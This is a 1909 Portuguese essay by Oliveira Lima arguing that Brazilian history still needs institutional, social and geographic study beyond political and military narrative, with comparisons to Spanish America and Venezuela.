O QUE DEVE SER UMA HISTÓRIA DO BRASIL

Oliveira Lima

O QUE DEVE SER UMA HISTÓRIA DO BRASIL

O Sr. Angel César Rivas, distinto professor de Direito Internacional na Universidade de Caracas e consultor-jurídico do Ministério das Relações Exteriores de Venezuela, uma das maiores ilustrações e das melhores esperanças da sua formosa e nobre terra, acaba de pronunciar, por ocasião da sua recepção solene na Academia de História daquela cidade, um discurso intitulado Origens da Independência de Venezuela, que é por certo um dos trechos superiores de oratória acadêmica e de literatura histórica que àquela douta assembléia tem sido dado escutar. Constitui tal discurso a síntese mais documentada, mais elaborada e mais sugestiva do desenvolvimento de Venezuela, como sociedade e como nação, que imaginar-se poderia; tanto assim que ao lê-lo e meditá-lo, me dei conta de quão deficiente é ainda no nosso meio o cultivo da História. Compreendi mesmo que a nossa história se acha por fazer, apesar dos nomes que neste gênero se orgulham de apontar os fastos literários do país.

O que entre nós efetivamente se há feito é a história dos sucessos, não a das instituições, a história política e militar, não a econômica e social. Southey traçou com pinceladas de mestre o primeiro quadro geral da nossa evolução nacional, dando-lhe os toques vivos c impressivos que eram de esperar da sua natureza poética e da paixão romântica com que êle se entregou ao estudo do seu tema. Varnhagcn, depois dele, corrigiu datas, restabeleceu fatos, forçou deduções, cavou minas e levantou uma mole de informações indispensáveis. João Francisco Lisboa, que tinha uma vista mais penetrante, um talento mais compreensivo c um gosto mais apurado, recuou diante da magnitude da tarefa que adivinharia e que chegou a iniciar. Capistrano de Abreu especializou-se no século XVI, enleou-se nas primeiras explorações, gastou tempo esmerilhando circunstâncias e perseguindo documentos, e não se afoitou a utilizar sua prodigiosa leitura em mais do que na recente e aliás excelente condensação do nosso viver colonial. João Ribeiro aproveitou cie Han-delmann o que este trouxe de novo à constituição da nossa história com aplicar-lhe os métodos alemães, sem acrescentar contribuição de indução própria. Rio Branco enxergou bem a seqüência dos eventos, expondo-os num luminoso resumo, mas circunscreveu-se no detalhe à história militar. Joaquim Caetano da .Silva e José Higino não chegaram a servir-se do material por suas mãos recolhido para a evocação completa do período holandês.

Entretanto, quanto não resta fazer, quanto não há paia fazer? Ninguém ainda tratou de verificar até que ponto vicejaram na colônia as instituições municipais transplantadas da metrópole, que modalidades assumiram, que resultados produziram no governo local, de quanto são finalmente responsáveis pelo sentimento de autonomia que se arvorou cm traço do nosso caráter.

Ninguém ainda estudou as relações de dependência, correlação ou colaboração entre os diferentes poderes estabelecidos na possessão, depois que esta entrou a organizar-se: o Poder Executivo concentrado nos governadores, o Legislativo parcamente atribuído às câmaras e juntas, o Judiciário representado pelas relações, ouvidores e corregedores, sem falar no Eclesiástico, encarnado nos bispos c nos capítulos. Nem se conhece exatamente o que de administração pública cabe em partilha a cada um desses poderes.

Ninguém ainda examinou de perto a luta travada entre o espírito reinol, personificado nos funcionários que vinham do Velho Mundo, e o espírito colonial, de cujas queixas, agravos, aspirações e petições eram intermediários os procuradores mandados a Corte, já que não mais havia cortes.

‘ Ninguém ainda considerou as relações precisas das classes da população entre si, a posição exata dos fidalgos do reino c de outras partes afluídos à aventura, dos peões que os acompanhavam ou que por si embarcavam nas mesmas disposições, dos índios defendidos pelos jesuítas e dos africanos condenados por todos ao cativeiro, faltando-nos portanto a história do povo, se bem que sobrando a das guerras.

Ninguém ainda descreveu no seu maquinismo em atividade o aparelho particular da percepção das rendas públicas, o sistema dos impostos, o funcionamento dos tribunais, a formação das milícias, a organização comercial antes, durante e depois das companhias privilegiadas, a divisão dos monopólios e das franquias, em suma toda a nossa vida de produção e de consumo.

Ninguém ainda cuidou de fixar os primeiros laços administrativos que uniram a colônia à metrópole, nem tampouco de esboçar êsse Conselho Ultramarino que substituiu o Conselho das Índias, e cujas atas, amontoadas em Lisboa, se deveriam metodicamente grupar e publicar. Nem sequer se há definido justamente a natureza e poderes deste Conselho, que sobre o nosso desenvolvimento exerceu uma tão importante, uma essencial ação.

É necessário reconstituir a atmosfera moral do Brasil Colonial. Se esta fase histórica foi toda de obscurantismo, de atraso e de servidão, como em tal atmosfera se formaram as mentalidades que já no século XVIII se impunham à consideração da metrópole — desde os irmãos Gusmão até José Bonifácio — e se adestraram as vontades que deram corpo à idéia de independência, esboçada no Maranhão, em Pernambuco e em Minas, antes de atingir em São Paulo e no Rio a sua cristalização perfeita? Um confronto seria curioso traçar sob este ponto de vista entre a colônia portuguesa e as colônias espanholas da América, bem mais favorecidas, pois que desde seus começos contaram imprensas e universidades, que foram para elas focos de ilustração que em vão se procurariam rivais entre as colônias inglesas.

Outra comparação deveras interessante seria a que se estabelecesse entre as nossas câmaras municipais, às quais nunca foi dado se reunirem c confederarem para deliberações em comum, como aconteceu mesmo cm Venezuela, que não era das colônias mais progressivas — segundo mostra o trabalho do Sr. Rivas — e os ca-bildos das possessões espanholas, possuidores por lei e pela prática dc mais franquias e privilégios.

Outro contraste a notar estaria entre os nossos capitães-gene-rais e os espanhóis, cuja autoridade era mais coarctada pelas Audiências, as quais dispensavam justiça, no exercício da sua função primordial, mas também opunham eventualmente uma barreira às arbitrariedades da suprema autoridade política.

Já foi tudo isto tentado? ou antes não reinará de seção a seção americana uma completa ignorância dos seus antecedentes históricos, da sua organização tradicional, da sua evolução particular? Porventura a importância ocasionalmente assumida pelos cabildos coloniais originava-se em boa parte na dificuldade de comunicações com os centros ultramarinos de autoridade e na conseqüente quase impossibilidade para estes de fazerem sentir sua ação em pontos muito distantes: assim os governos de Venezuela, Nova Andaluzia c Maracaibo, antes de constituírem juntos a "capitania general" de Venezuela, isto é, até a segunda metade do século XVIII estavam subordinados, judicialmente, à Audiência de Hispaniola (São Domingos), e administrativamente ao vice-reinado dc Santa Fé de Bogotá. Entretanto, no Brasil os capitães-generais dependiam pela maior parte diretamente de Lisboa, sendo o cargo de vice-rei na realidade mais um título honorífico do que uma posição de autoridade geral.

Entre outros tópicos a esquadrinhar e a fixar, encontram-se por exemplo as relações de dependência social na colônia entre senhores ç escravos, entre funcionários e naturais, entre fazendeiros e agregados, relações que todos nós conhecemos nos tempos de ontem ou de hoje, mas que não sabemos como se vieram a formar, algumas delas já não correspondendo mais à situação legal. Ignoramos também a exata filiação dessa aristocracia territorial muito característica, que durante o Império constituiu a classe preponderante e diretiva e que descende da nobreza emigrada do Reino, com cruzamentos locais na maior parte dos casos. Prolongou-se assim na colônia a aristocracia européia, mas de fato nunca foi, depois de ali aclimada, tratada de modo igual pela Corte portuguesa, sendo desconhecida a concessão de títulos nobiliárquicos a filhos do Brasil e lá residentes, quando o caso não era raro nas colônias espanholas, onde a influência de tal elemento aristocrático local parece ter sido muito mais definida e muito mais extensa.

Em resumo, duas faces há sob as quais a história brasileira oferece especial atração, e de nenhuma delas ainda se cuidou a sério no nosso mundo estudioso: uma é a que diz respeito à conquista do interior, à seqüência das expedições dos bandeirantes, de que resultaram o alargamento dos limites nacionais, as dimensões do Brasil de hoje e os núcleos esparsos da sua população — é a história geográfica; a outra é a crônica íntima das relações incessantes entre as autoridades da metrópole e as populações do ultramar, modelando um novo organismo político — é a história social. O que se tem feito é reunir material para este edifício.

Bruxelas, agosto de 1909

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

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